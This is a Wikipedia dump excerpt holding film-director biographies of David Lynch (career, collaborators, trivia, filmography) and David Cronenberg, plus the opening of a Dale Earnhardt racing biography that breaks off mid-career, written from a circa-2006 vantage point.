The missing link between Twin Peaks and Wild at Heart, however, is ''[[Industrial Symphony No. 1]]: The Dream of the Broken Hearted''. It was originally presented on-stage at the [[Brooklyn Academy of Music]] in [[New York City]] on [[November 10]], [[1989]] as a part of the [[New Music America Festival]]. ''Industrial Symphony No. 1'' is another collaboration between composer Angelo Badalamenti and David Lynch. It features ten songs by [[Julee Cruise]] and stars several members of the Twin Peaks cast as well as Nick Cage, Laura Dern and Julee Cruise. Lynch described this musical spectacle as the &quot;sound effects and music and ... happening on the stage. And, it has something to do with, uh, a relationship ending.&quot; David Lynch produced a 50 minute video of the performance in [[1990]].

Meanwhile, ''Twin Peaks'' suffered a severe ratings drop, and was cancelled in [[1991]]. Still, Lynch scripted a [[prequel]] to the series, about the last seven days in the life of Laura Palmer. The resulting film, ''[[Twin Peaks: Fire Walk with Me]]'' ([[1992]]), flopped at the box office and garnered the most negative reviews of Lynch’s career.

As a quick blip during this time period, he and [[Mark Frost]] wrote and directed several episodes of the short lived comedy series ''[[On the Air]]'' for ABC, which followed the zany antics at a 1940's TV studio. In the US only two episodes were aired, although seven were filmed; In the Netherlands all 7 were aired by [[VPRO]].

His next project was much more low-key; he directed two episodes of a three-episode [[HBO]] [[mini-series]] called ''[[Hotel Room]]'' about events that happened in the same hotel room in a span of decades.
[[Image:Lost-Higway-01.jpg|right|190px|thumb|''Lost Highway'' (1997)]]

===''Lost Highway'', ''The Straight Story'', ''Mulholland Drive'' and ''INLAND EMPIRE''===
In [[1997]], Lynch returned with the non-linear, [[film noir|noir]]-like film ''[[Lost Highway]]'', co-written by Barry Gifford and starring [[Bill Pullman]] and [[Patricia Arquette]]. The film failed commercially and received a mixed response from critics. However, thanks in part to a soundtrack featuring [[Marilyn Manson]], [[Rammstein]], [[Nine Inch Nails]] and [[Smashing Pumpkins]], it helped gain Lynch a new audience of [[Generation X]] viewers.

In 1999, Lynch surprised fans and critics with the [[MPAA film rating system|G]]-rated, [[Walt Disney Pictures|Disney]]-produced ''[[The Straight Story]]'', which was, on the surface, a simple and humble movie telling the [[Alvin Straight|true story]] of an [[Iowa]] man ([[Richard Farnsworth]]) who rides a lawnmower to [[Wisconsin]] to make peace with his ailing brother. The film garnered positive reviews.

[[Image:MulhollandDrive.jpg|left|190px|thumb|''Mulholland Drive'' (2001)]]
The same year, Lynch approached [[ABC network|ABC]] once again with an idea for a television [[drama]]. The network gave Lynch the go-ahead to shoot a two-hour pilot for the series ''[[Mulholland Drive (film)|Mulholland Drive]]'', but disputes over content and running time led to the project being shelved indefinitely.

With seven million dollars from the [[France|French]] [[film distributor|distributor]] [[Canal Plus]], Lynch completed the pilot as a film. ''Mulholland Drive'' is an enigmatic tale of the dark side of [[Hollywood]] and stars [[Naomi Watts]], [[Laura Harring]] and [[Justin Theroux]]. The film performed relatively well at the [[box office]] worldwide and was a critical success earning Lynch a Best Director prize at the [[2001]] [[Cannes Film Festival]] (shared with [[Joel Coen]] for ''[[The Man Who Wasn't There]]'') and a Best Director award from the [[New York Film Critics Association]].

In [[2002]], Lynch treated his fans to his own version of a [[sitcom]] via his [http://www.davidlynch.com website] - ''Rabbits'', eight episodes of [[surrealism]] in a rabbit suit. Later, he showed his experiments with Digital Video ([[DV]]) in the form of the Japanese style horror short ''[[Darkened Room]]''. 

At the [[2005]] [[2005 Cannes Film Festival|Cannes Film Festival]], Lynch announced that he had spent over a year shooting his new film digitally in Poland. The film, titled ''[[INLAND EMPIRE (film)|INLAND EMPIRE]]'' (in capitals), included Lynch regulars such as [[Laura Dern]], [[Harry Dean Stanton]], and [[Justin Theroux]], as well as [[Jeremy Irons]]. Lynch described the film as &quot;a mystery about a woman in trouble&quot;. It is scheduled to be released in [[2006]] and will be Lynch's first [[feature]] shot entirely on DV.

== Awards and honors ==
Lynch has twice won France's [[César Award for Best Foreign Film]] and served as President of the jury at the [[2002]] [[Cannes Film Festival]], where he had previously won the [[Palme d'Or]] in [[1990]]. He was also honored in [[2002]] by the French government with the [[Légion d'honneur|Legion of Honor]]. 

He has been nominated for the [[Academy Award for Directing]] three times (for ''[[The Elephant Man (film)|The Elephant Man]]'', ''[[Blue Velvet]]'' and ''[[Mulholland Drive (film)|Mulholland Drive]]'') but has never won.

==Frequent collaborators==
&lt;!--Let‘s keep this limited to people who have played 3 or more roles--&gt;Lynch often uses the same actors in his productions:
* [[Jack Nance]] appears in ''[[Eraserhead]]'', ''[[Dune]]'', ''[[Blue Velvet]]'', ''[[The Short Films of David Lynch#The Cowboy and the Frenchman|The Cowboy and the Frenchman]]'', ''[[Twin Peaks]]'', ''[[Wild at Heart]]'' and ''[[Lost Highway]]''
* [[Kyle MacLachlan]] appears in ''[[Dune]]'', ''[[Blue Velvet]]'', ''[[Twin Peaks]]'' and ''[[Twin Peaks: Fire Walk With Me]]''
* [[Laura Dern]] appears in ''[[Blue Velvet]]'', ''[[Wild at Heart]]'', ''[[Industrial Symphony No. 1]]'', and ''[[Inland Empire (film)|INLAND EMPIRE]]''
* [[Sheryl Lee]] appears in ''[[Twin Peaks]]'', ''[[Wild at Heart]]'' and ''[[Twin Peaks: Fire Walk With Me]]''
* [[Harry Dean Stanton]] appears in ''[[The Short Films of David Lynch#The Cowboy and the Frenchman|The Cowboy and the Frenchman]]'', ''[[Wild at Heart]]'', ''[[Twin Peaks: Fire Walk With Me]]'', ''[[Hotel Room]]'', ''[[The Straight Story]]'' and ''[[Inland Empire (film)|INLAND EMPIRE]]''
* [[Michael J. Anderson]] appears in ''[[Twin Peaks]]'', ''[[Industrial Symphony No. 1]]'', ''[[Twin Peaks: Fire Walk With Me]]'', and ''[[Mulholland Drive]]''
* [[Angelo Badalamenti]] appears in ''[[Twin Peaks]]'', and ''[[Wild at Heart]]''
* [[Grace Zabriskie]] appears in ''[[Twin Peaks]]'', ''[[Wild at Heart]]'' and ''[[Twin Peaks: Fire Walk With Me]]''
* [[Everett McGill]] appears in ''[[Dune]]'', ''[[Twin Peaks]]'' and ''[[The Straight Story]]'';
* [[Catherine E. Coulson]] appears in ''[[The Short Films of David Lynch|The Amputee]]'', ''[[Twin Peaks]]'' and ''[[Twin Peaks: Fire Walk With Me]]''
* [[Miguel Ferrer]] appears in ''[[Twin Peaks]]'', ''[[Twin Peaks: Fire Walk With Me]]'' and ''[[On the Air]]''
* [[Sherilyn Fenn]] appears in ''[[Twin Peaks]]'' and ''[[Wild at Heart]]''
* [[Alicia Witt]] appears in ''[[Dune]]'', ''[[Twin Peaks]]'', and ''[[Hotel Room]]''
* [[Frances Bay]] appears in ''[[Blue Velvet]]'', ''[[Twin Peaks]]'' and ''[[Wild at Heart]]''
* [[Freddie Jones]] appears in ''[[The Elephant Man (film)|The Elephant Man]]'', ''[[Dune]]'', ''[[Wild at Heart]]'', ''[[Hotel Room]]'' and ''[[On the Air]]''
* [[Brad Dourif]] appears in ''[[Blue Velvet]]'' and ''[[Dune]]''
* [[Scott Coffey]] appears in ''[[Lost Highway]]'', ''[[Mulholland Dr.]]'' and ''[[Rabbits]]''

Many of Lynch's films have bit parts played by musicians who have various degrees of acting experience: [[Sting (musician)|Sting]] in ''Dune'', [[Chris Isaak]] in ''Fire Walk With Me'', [[David Bowie]] in ''Fire Walk With Me'', [[Julee Cruise]] in ''Twin Peaks'' and ''Fire Walk With Me'', [[Marilyn Manson]] in ''Lost Highway'', [[Henry Rollins]] in ''Lost Highway'', and [[Billy Ray Cyrus]] in ''Mullholland Drive''.

Lynch himself appears in ''[[The Short Films of David Lynch|The Amputee]]'', ''[[Dune]]'', ''[[Twin Peaks]]'' and ''[[Twin Peaks: Fire Walk With Me]]''. He is also in a deleted scene from ''[[Lost Highway]]''.

==Private life==
Lynch has been married twice:

# [[Peggy Lynch]] ([[1967]]-[[1974]]), (one daughter [[Jennifer Chambers Lynch]], the [[film director]])
# [[Mary Fisk]] ([[21 June]] [[1977]]-[[1987]]), (one son-- Austin Jack Lynch)

He also has a son [[Riley Lynch]] with the [[film editor]] [[Mary Sweeney]].

==Trivia==
* Despite his almost exclusive focus on America, Lynch, like [[Woody Allen]], has found a large audience in [[France]]; ''INLAND EMPIRE,'' ''Mulholland Drive'', ''Lost Highway'' and ''Fire Walk With Me'' were all funded through French production companies.
* Lynch is notoriously evasive and cagey in interviews, and refuses to discuss the plot details and &quot;true meanings&quot; of his films, preferring viewers to come away with their own interpretations. None of his films released on DVD have director commentary tracks, and some (rather unusually) don't even have chapter selections. This is due, at least in part, to his belief that a film should be viewed from beginning to end without interruption or distraction.
* Certain images or types of images are common trademarks in Lynch's films.  These include smoke, fire, electricity and electric lights (especially flickering or damaged), highways at night, dogs, diners, red curtains, the binding or crippling of hands or arms, various uses of the color blue, and angelic or heavenly female figures. Though interpretations do vary, those who study Lynch's work generally do find such images to represent consistent or semi-consistent themes throughout his body of work.
* Film critic [[Roger Ebert]] has been notoriously unfavorable towards Lynch, even accusing him of [[misogyny]] in his reviews of ''[[Blue Velvet]]'' and ''[[Wild at Heart]]''. [http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=%2F19860919%2FREVIEWS%2F609190301%2F1023&amp;AID1=%2F19860919%2FREVIEWS%2F609190301%2F1023&amp;AID2=] [http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=%2F19900817%2FREVIEWS%2F8170301%2F1023&amp;AID1=%2F19900817%2FREVIEWS%2F8170301%2F1023&amp;AID2=] Ebert was one of few critics to dislike ''Blue Velvet''. He did, however, write enthusiastic reviews of ''[[Mulholland Drive (film)|Mulholland Drive]]'' [http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20011012/REVIEWS/110120304/1023]  and [[The Straight Story]].
* He had [[Finland|Finnish]] grandparents.
* In the 1980s Lynch was an admirer of [[Ronald Reagan]] and had dinner with the Reagans at the [[White House]]. Years later when someone made a disparaging comment about [[Nancy Reagan]] he spoke up and defended her.
* Despite his professional accomplishments, Lynch once characterized himself simply as, &quot;[[Wilson, Edward Osborne|Eagle Scout]], Missoula, Montana.&quot;[http://www.thecityofabsurdity.com/inticon.html]
*Lynch particularly enjoys cake, and a wide variety of meats.

== Transcendental meditation ==
In December 2005, Lynch told the [[Washington Post]] that he had been practicing [[transcendental meditation]] twice a day, for 20 minutes each time, for 32 years. [http://www.washingtonpost.com/wp-dyn/content/article/2005/12/01/AR2005120101798.html].  He advocates its use in bringing peace to the world. He has launched the [http://www.davidlynchfoundation.com David Lynch Foundation For Conciousness-Based Education and Peace] to fund research about TM's positive effects, and he promotes the technique and his vision by an ongoing tour of college campuses that began in September 2005. [http://www.nyunews.com/vnews/display.v/ART/2005/10/05/4349ae171a64c?in_archive=1]  (A [[streaming video]] of one of Lynch's public performances [http://www.davidlynchfoundation.com/tour/index.html is available at his foundation's website].) 

Lynch is working for the establishment of seven &quot;peace factories,&quot; each with 8000 salaried people practicing advanced techniques of TM, &quot;pumping peace for the world&quot;. He estimates the cost at $7 billion; [[as of December 2005]] he had spent $400,000 of his own money and raised $1 million in donations from a handful of wealthy individuals and organizations. [http://www.washingtonpost.com/wp-dyn/content/article/2005/12/01/AR2005120101798_2.html]

== Other interests ==
Lynch has cited the [[Austrian]] [[expressionism|expressionist painter]] [[Oskar Kokoschka]] as an inspiration for his works.  He described the twentieth century artist [[Francis Bacon (painter)|Francis Bacon]] as &quot;to me, the main guy, the number one kinda hero painter&quot;&lt;!--Lynch on Lynch, p. 16--&gt;.  He continues to present [[installation art|art installations]] and [[stage design]]s. In his spare time, he also designs and builds [[furniture]]. Lynch was also responsible for the [[comic strip]] ''[[The Angriest Dog in the World]]''.  

Lynch is a  big fan of [[Bob's Big Boy]] restaurants, an [[Americana]] restaurant chain whose chief icon is a cartoon male with a tray of dinner plates. Lynch has said he got a chocolate [[milkshake]] at one restaurant near his house almost every day for seven years in a row. The director credits this restaurant for helping provide the inspiration for many of his films, as his big lunches there helped him come up with ideas.

Lynch also designed [http://www.davidlynch.com/ davidlynch.com], a site exclusive to paying members, where he posts short films, interviews and other items. The site also features a daily [[weather report]], where Lynch gives a brief description of the weather in [[Los Angeles]], where he resides.

== Filmography ==
=== As director ===
* ''[[The Short Films of David Lynch#Six Figures Getting Sick|Six Figures Getting Sick]]'' (Short film) ([[1966 in film|1966]])
* ''[[The Short Films of David Lynch#The Alphabet|The Alphabet]]'' (Short film) ([[1967 in film|1967]]) 
* ''[[The Short Films of David Lynch#The Grandmother|The Grandmother]]'' (Short film) ([[1970 in film|1970]]) 
* ''[[The Short Films of David Lynch#The Amputee|The Amputee]]'' (Short film) ([[1974 in film|1974]]) 
* ''[[Eraserhead]]'' ([[1978 in film|1978]])
* ''[[The Elephant Man (film)|The Elephant Man]]'' ([[1980 in film|1980]])
* ''[[Dune (film)|Dune]]'' ([[1984 in film|1984]])
* ''[[Blue Velvet]]'' ([[1986 in film|1986]])
* ''[[The Short Films of David Lynch#The Cowboy and the Frenchman|The Cowboy and the Frenchman]]'' (Short film) ([[1988 in film|1988]])
* ''[[Twin Peaks]]'' (TV series) ([[1990]]-[[1991|91]])
* ''[[Wild at Heart]]'' ([[1990 in film|1990]])
* ''[[Industrial Symphony No. 1]]: The Dream of the Broken Hearted'' (Short film) ([[1990 in film|1990]])
* ''[[On the Air]]'' (TV series) ([[1992 in film|1992]])
* ''[[Fire Walk With Me|Twin Peaks: Fire Walk With Me]]'' ([[1992 in film|1992]])
* ''[[Hotel Room]]'' (TV mini-series) ([[1993 in film|1993]])
* ''[[The Short Films of David Lynch#Lumière:Premonitions Following an Evil Deed|Lumière:Premonitions Following an Evil Deed]]'' (Short film) ([[1996 in film|1996]])
* ''[[Lost Highway]]'' ([[1997 in film|1997]])
* ''[[The Straight Story]]'' ([[1999 in film|1999]])
* ''[[Mulholland Dr.|Mulholland Drive]]'' ([[2001 in film|2001]])
* ''[[Darkened Room]]'' (Short film) ([[2002 in film|2002]]) 
* ''[[Rabbits (film)|Rabbits]]'' (Short film) ([[2002 in film|2002]])
* ''[[Inland Empire (film)|INLAND EMPIRE]]'' ([[2006 in film|2006]])

=== As an actor ===
* ''[[The Short Films of David Lynch#The Amputee|The Amputee]]'' ([[1974 in film|1974]]) as a doctor
* ''[[Dune (film)|Dune]]'' ([[1984 in film|1984]]) as a spice miner (uncredited)
* ''[[Zelly and Me]]'' ([[1988 in film|1988]]) as Willie, [[Isabella Rossellini]]'s character's love interest
* ''[[Twin Peaks]]'' ([[1990]]) as [[Agent Cooper]]'s boss, [[FBI]] Regional Bureau Chief [[Gordon Cole]]
* ''[[Twin Peaks: Fire Walk with Me]]'' ([[1992 in film|1992]]) FBI Regional Bureau Chief Gordon Cole
* ''[[Nadja]]'' ([[1994 in film|1994]]) brief scene as a [[morgue]] receptionist

==See also==
* [[The Short Films of David Lynch]]

==References==
*''[[Lynch on Lynch]]'', a book of interviews with Lynch, conducted, edited, and introduced by filmmaker Chris Rodley (Faber &amp; Faber Ltd., 1997, ISBN 0571195482; revised edition published by Farrar Straus &amp; Giroux, 2005, ISBN 0571220185).
*''The Passion of David Lynch: Wild at Heart in Hollywood'' by Martha Nochimson (University of Texas Press, 1997, ISBN 0292755651).
*''The Complete Lynch'' by [[David Hughes]] (Virgin Virgin, 2002, ISBN 0753505983)
*''Weirdsville U.S.A.: The Obsessive Universe of David Lynch'' by Paul A. Woods (Plexus Publishing. UK, Reprint edition, 2000, ISBN 0859652912).
*''David Lynch'' (Twayne's Filmmakers Series) by Kenneth C. Kaleta (Twayne Publishers, 1992, ISBN 0805793232).
*''Pervert in the Pulpit: Morality in the Works of David Lynch'' by Jeff Johnson (McFarland &amp; Company, 2004, ISBN 0786417536).

==External links==
{{commons|David Lynch}}
{{wikiquote}}
* [http://www.davidlynch.com David Lynch Homepage]
* [http://www.davidlynchfoundation.com The Official David Lynch Foundation Website]
* {{imdb name|id=0000186|name=David Lynch}}
* [http://lynch.batbad.com The Black Lodge - A Web Homage to David Lynch] : interactive journey into the worlds of David Lynch.
* [http://www.allmovie.com/cg/avg.dll?p=avg&amp;sql=2:100454 David Lynch] at the [[All Movie Guide]]
* [http://www.egs.edu/faculty/lynch.html David Lynch Faculty Website European Graduate School]
* [http://www.sensesofcinema.com/contents/directors/02/lynch.html Senses of Cinema: Great Directors Critical Database]
* [http://ask.metafilter.com/mefi/28651 What is going on with David Lynch?], December 7, 2005
* [http://www.greencine.com/article?action=view&amp;articleID=254 GreenCine interviews David Lynch, conducted by John McMurtrie]
* [http://underwires.net Underwires Official Website] : French Band inspired by the films of David Lynch


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  <page>
    <title>David Cronenberg</title>
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      <text xml:space="preserve">[[Image:David Cronenberg(CannesPhotoCall)-.jpg|thumb|200px|David Cronenberg at [[Cannes Film Festival|Cannes]] [[2002 in film|2002]]]]
'''David Paul Cronenberg''' (born [[March 15]], [[1943]] in [[Toronto]], [[Ontario]]) is a [[Canada|Canadian]] [[film director]] and occasional [[actor]]. He is one of the principal originators of what is sometimes known as the &quot;[[body horror]]&quot; genre, which explores people's fears of bodily transformation and [[infection]]. In his films, the psychological is typically intertwined with the physical.  In the first half of his career, he explored these themes mostly through [[horror film|horror]] and [[science fiction film|science fiction]], although his work has long since moved beyond these genres.

He was born to a [[Lithuanians|Lithuanian]]-[[Jew]]ish family in [[Toronto]], Cronenberg's father was a journalist and his mother a pianist. He graduated from the [[University of Toronto]] with a degree in literature, and has cited [[William S. Burroughs]] and [[Vladimir Nabokov]] as influences. 

After two short sketch films and two short art-house features (the black and white ''[[Stereo (film)|Stereo]]'' and the colour ''[[Crimes of the Future]]'') Cronenberg went into partnership with [[Ivan Reitman]]. The Canadian government provided finance for Cronenberg's films through the 1970s. Cronenberg alternated his signature &quot;body horror&quot; films such as ''[[Shivers (film)|Shivers]]'' with projects reflecting his interest in car racing and bike gangs. ''[[Rabid]]'' exploited the unexpected acting talents of porn queen [[Marilyn Chambers]] (Cronenberg's first choice was a young unknown called [[Sissy Spacek]]). ''Rabid'' was a breakthrough with international distributors and his next two horror features gained stronger support.

Over the arc of his career, Cronenberg's films follow a definite progression, a movement from the social world to the inner life. In his early films, scientists modify human bodies, which results in social anarchy (e.g. ''[[Shivers (film)|Shivers]]'', ''[[Rabid]]''). In his middle period, the chaos wrought by the scientist is more personal, (e.g. ''[[The Brood]]'', ''[[Scanners]]'', ''[[Videodrome]]''). In the later period, the scientist himself is altered by his experiment (e.g. Cronenberg's remake of ''[[The Fly (1986 film)|The Fly]]''). This trajectory culminates in ''[[Dead Ringers (film)|Dead Ringers]]'' - arguably his greatest achievement - in which a twin pair of [[gynecology|gynecologists]] spiral into [[codependency]] and [[drug addiction]]. Cronenberg's later films tend more to the psychological, often contrasting subjective and objective realities (''[[eXistenZ]]'', ''[[M. Butterfly (film)|M. Butterfly]]'', ''[[Spider (film)|Spider]]'').

Cronenberg has said that his films should be seen &quot;from the point of view of the disease&quot;, and that, for example, he identifies with the characters in ''Shivers'' '''after''' they become infected with the anarchic parasites. This perspective is illustrated in ''The Fly'' when the hero discovers that he has been genetically fused with an insect. Rather than saying &quot;My teleport machine went wrong&quot;, he says &quot;My teleport machine turned into a gene-splicer&quot;. Disease and disaster, in Cronenberg's work, are less problems to be overcome than agents of personal transformation. Similarly, in ''[[Crash (1996 film)|Crash]]'' (1996), people who have been injured in car crashes attempt to view their ordeal as &quot;a fertilising rather than a destructive event&quot;.

Aside from ''The Dead Zone'' (1983) and ''The Fly'', Cronenberg has not generally worked within the world of big-budget, mainstream [[Hollywood]] filmmaking, although he has had occasional near misses.  At one stage he was considered by [[George Lucas]] as a possible director for ''[[Star Wars Episode VI: Return of the Jedi|Return of the Jedi]]'' but was passed. Cronenberg also worked for nearly a year on a version of ''[[Total Recall (film)|Total Recall]]'' but experienced &quot;creative differences&quot; with producers [[Dino de Laurentiis]] and Ronald Shusett. A different version of the film was eventually made by [[Paul Verhoeven]]. In the late 1990s Cronenberg was announced as director of a sequel to another Verhoeven film, ''[[Basic Instinct]]'', but this also fell through.  His most recent work, the thriller ''[[A History of Violence (film)|A History of Violence]]'' (2005), is one of his highest budgeted and most mass audience-accessible to date.  He has said that the decision to direct it was influenced by his having had to defer some of his salary on the low-budgeted ''Spider'', but it is one of his most critically acclaimed films to date.

Cronenberg has hired [[Howard Shore]] to compose the [[soundtrack]] to nearly all of his films (see [[List of noted film director and composer collaborations]]). Other regular collaborators include [[actor]] Robert Silverman, [[art director]] Carol Spier, [[sound editor]] Bryan Day, [[film editor]] Ronald Sanders and, from 1979 until 1988, [[cinematographer]] Mark Irwin.

Since 1988's ''[[Dead Ringers (film)|Dead Ringers]]'' Cronenberg has worked with cinematographer [[Peter Suschitzky]] on each of his films. Suschitzky was the director of photography for ''[[Star Wars Episode V: The Empire Strikes Back]]'', and Cronenberg has repeatedly said that Suschitzky's work in that film made it the most beautiful sci-fi film he'd ever seen, which was a motivating factor to work with him on ''[[Dead Ringers (film)|Dead Ringers]]''. 

Cronenberg has also appeared in the films of other directors as an actor.  Most of his roles are cameo appearances, as in ''Into The Night'' or ''[[Alias (TV series)|Alias]]'', but on occasion he has played major roles, as in ''[[Nightbreed]]'' or ''[[Last Night]]''. He has not played major roles in any of his own films, but he did put in a brief appearance as a [[gynaecologist]] in ''The Fly'', and he can also be glimpsed among the sex-crazed hordes in ''Shivers''.

In [[2002]], he was made an Officer of the [[Order of Canada]].

==Selected films==
*''[[Transfer (film)|Transfer]]'' (1966) (short)
*''[[From the Drain]]'' (1967) (short)
*''[[Stereo (film)|Stereo]]'' (1969)
*''[[Secret Weapons]]'' (TV) (1970) (episode of the series ''[[Programme X]]'')
*''[[Crimes of the Future]]'' (1970)
*''[[Tourettes (movie)|Tourettes]]'' (TV) (1971)
*''[[The Victim (TV episode)|The Victim]]'' (TV) (1975) (episode of the [[CBC Television|CBC]] series ''[[Peep Show]]'')
*''[[The Lie Chair (TV episode)|The Lie Chair]]'' (TV) (1975) episode of the CBC series ''[[Peep Show (Canadian television series)|Peep Show]]'')
*''[[Shivers (film)|Shivers]]'' (1975)
*''[[The Italian Machine]]'' (TV) (1976) (episode of the CBC series ''[[Teleplay (Canadian television series)|Teleplay]]'') [http://www.channel4.com/film/media/video/I/italian_machine_lg_01.ram watch it here] ([[RealMedia]])
*''[[Rabid]]'' (1977)
*''[[Fast Company (1979 film)|Fast Company]]'' (1979)
*''[[The Brood]]'' (1979)
*''[[Scanners]]'' (1981)
*''[[Videodrome]]'' (1982)
*''[[The Dead Zone (film)|The Dead Zone]]'' (1983)
*''[[The Fly (1986)|The Fly]]'' (1986)
*''[[Dead Ringers (film)|Dead Ringers]]'' (1988)
*''[[Naked Lunch (film)|Naked Lunch]]'' (1991)
*''[[Nightbreed]]'' (1990, as an actor)
*''[[M. Butterfly (film)|M. Butterfly]]'' (1993)
*''[[Crash (1996 film)|Crash]]'' (1996)
*''[[Last Night]]'' (1998, as an actor)
*''[[eXistenZ]]'' (1999)
*''[[Camera (2000 short film)|Camera]]'' (2000) (short)
*''[[Jason X]]'' (2001, as an actor)
*''[[Spider (film)|Spider]]'' (2002)
*''[[A History of Violence (film)|A History of Violence]]'' (2005)

==Bibliographies==
*[http://www.lib.berkeley.edu/MRC/cronenberg.html David Cronenberg Bibliography (via UC Berkeley)]

==External links==
{{commons|David Cronenberg}}
*{{imdb name|id=0000343|name= David Cronenberg}}
*[http://www.sensesofcinema.com/contents/directors/02/cronenberg.html Senses of Cinema: Great Directors Critical Database]
*[http://plasmapool.50webs.com/ The Plasma Pool: David Cronenberg Fan Site]
*[http://www.davidcronenberg.de/ A fine fan site]
*[http://www.salon.com/people/bc/1999/11/30/cronenberg/ An article on Salon.com]
*[http://www.splicedonline.com/features/cronenberg.html An interview, circa 1999]

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  <page>
    <title>Dale Earnhardt</title>
    <id>7893</id>
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      <comment>/* Death */</comment>
      <text xml:space="preserve">{{inappropriate tone}} 

'''Ralph Dale Earnhardt, Sr.''' (born [[April 29]], [[1951]] &amp;ndash; [[February 18]], [[2001]]) was an [[United States|American]] [[NASCAR]] driver.  He was born in [[Kannapolis, North Carolina]], right outside of [[Charlotte, North Carolina|Charlotte]], to Ralph Lee Earnhardt and Martha Coleman.  He died in a racing accident in turn four of the final lap of the 2001 [[Daytona 500]].

==Early life==
Dale Earnhardt was born in [[Kannapolis, North Carolina]], the son of a race car driver [[Ralph Earnhardt]], who participated in the formative years of the NASCAR circuit's [[Grand National Division]] (the precursor to today's Nextel Cup Series). The allure of the racer's life attracted Dale to the sport although Ralph pushed the boy to stay in school to educate himself in hopes of avoiding the fate of being a simple [[laborer]] in one of the cotton mill's that populated the Kannapolis area. Much to his father's dismay, Dale quit school at the age of 16 to pursue racing and, as he became a young adult, to support his wife and their first son, Kerry. 

Ralph Earnhardt would die of a [[heart attack]] while working on his race car in [[1973]]. The weight of his father's death was great upon Dale's shoulders and it would take many years before his success in racing would make him feel as though he had &quot;proved&quot; himself to his father's memory.

==Racing career==
Dale Earnhardt began his [[Winston Cup]] career in 1975, making his very first start at the [[Charlotte Motor Speedway]] in the [[World 600]], located in [[Charlotte]], [[North Carolina]]. Earnhardt drove an [[Ed Negre]] car and finished 22nd in the race. It wasn't a very promising start. Earnhardt would compete in 8 more races until, at the age of 28, got his first full time ride with Rod Osterlund Racing.

'''1979'''

Earnhardt started the [[1979]] season with car owner [[Rod Osterlund]], who had fielded a full time team for [[Dave Marcis]] with 1 win and several top 10 point finishes. The two hit it off with each other right away. They ran well at [[Daytona]] and Earnhardt notched his very first win on [[April 1st]], [[1979]], at the [[Bristol Motor Speedway]] dueling NASCAR legends [[Darrell Waltrip]] and [[Bobby Allison]]. Earnhardt ran well the rest of the year, despite missing 4 races due to a broken collarbone suffered at [[Pocono]], and would finish the year with 1 win, 11 Top 5's, 17 Top 10's, 4 poles, a 7th place points finish, and the [[NASCAR Rookie of the Year]] award. 

'''1980: The First Championship'''

The dawning of a new decade in [[Winston Cup]] racing started with a bang for Dale Earnhardt as he won the [[Busch Clash]] (later renamed the [[Budweiser Shootout]]), a non-points race for all of the years previous [[Pole position|pole]] winners. But that would not be the last of his accomplishments that year. Earnhardt would get his 1st points-race win of the year at the [[Atlanta Motor Speedway]]. Earnhardt would go on to win at [[Bristol]], [[Nashville]], [[Martinsville]], and at [[Charlotte]], despite losing his [[crew chief]] midway through the year. Earnhardt went on to win his first championship, becoming the first driver to win the title the year after winning rookie of the year, the only one to accomplish that feat. Also crew chief [[Jake Elder]] left Osterlund. Jake claimed that he couldn't stand to work for any body for too long. That's how he got the nick name &quot;Suitcase Jake&quot;.

'''1981: The Lost Year'''

Osterlund sold the team to [[J.D. Stacy]] in mid-1981. While Stacy had made millions in the [[oil]] business and was determined to put a ton of money into the racing business, he just didn't have the experience to make it work and Earnhardt recognized it immediately. Earnhardt and his new owner never hit it off well and the relationship was ended as soon as possible. Earnhardt joined his future championship owner, [[Richard Childress]] to finish off the season after competing in only 4 races for Stacy. Earnhardt went winless in 1981 and finished 7th in the point standings.

'''1982: Victory Again'''

After [[Richard Childress]] convinced Dale that he didn't have the resources for the defending champion to be driving and that it wouldn't be fair to Earnhardt to go through that, Dale joined legendary car owner [[Bud Moore]] for the [[1982]] season. Earnhardt got back to victory lane at [[Darlington International Raceway]] and ended a 39 race losing streak. But that would be the only win of the year as engine failures in his [[Ford Thunderbird]] would plague their season. Earnhardt would finish 12th in the point standings, the lowest in his career (He would finish 12th again in 1992).

'''1983: On the Path to Resurgence'''

Earnhardt started the year winning at [[Daytona]]. Not the 500, but a win none the less. Earnhardt won the first of what would be 13 [[Twin-125]] Qualifiers in his career. He didn't win Daytona but did notch wins at [[Nashville]] and [[Talladega]]. He finished 8th in the point standings, but again, unreliable engines convinced Dale that Richard Childress' [[Chevrolets]] could not be worse than driving Moore's [[Fords]].

'''1984: Joining RCR'''

[[1984]] began with good news for Earnhardt, he would be going to a new home with [[Richard Childress Racing]]. Earnhardt had a good relationship with [[Bud Moore]] but simply didn't have the results he was looking for. Earnhardt, who drove for Childress in 1981, thought RCR would be the best bet. Childress, who had been receiving help from [[Junior Johnson]] the last few years, had been building up his team and finally felt he was ready for Earnhardt. Earnhardt would match the amount of wins he had in 1983, with wins at Talladega and Atlanta. But the difference in the owner change was notable, as Earnhardt led at the halfway mark in the season before ending up 4th in points.

'''1985: Short Track Dominance'''

When Earnhardt began his career, former crew chief [[Jake Elder]] and others pegged Earnhardt as a driver who would win many [[short track]] races in his career and a few [[superspeedway]] races. Well, they were half right, as Earnhardt was one of the most prolific superspeedway winners of all time. But, in 1985, they thought they had the Kannapolis, NC native pegged perfectly. Earnhardt would win 4 races, 1 at [[Richmond]], 2 at [[Bristol]], and 1 at [[Martinsville]], all short tracks. He would run respectably at the superspeedways but not consistent enough to contend for the title. His second year with Childress produced 2 more wins, but it resulted in a 8th place points finish. Childress tried to convince Dale to once again go elsewhere, but Earnhardt refused, and the results were historic.

'''1986: The Second Championship'''

1986 started on a high note for Earnhardt and the Childress team as he won the [[Busch Clash]]. If you remember, Earnhardt won the Clash in 1980, and the team took it as an omen for a possible second championship. They were correct. Earnhardt would beat [[Darrell Waltrip]] for the title, the second in his career and the first with [[Richard Childress]]. Earnhardt would also win 5 races, at [[North Wilkesboro]], 2 at Charlotte, and 1 at Atlanta. He also had two non-point races wins, the Busch Clash and the Daytona qualifier.

'''1987: The Third Championship, the End of Yellow and Blue, and the Season to Remember'''

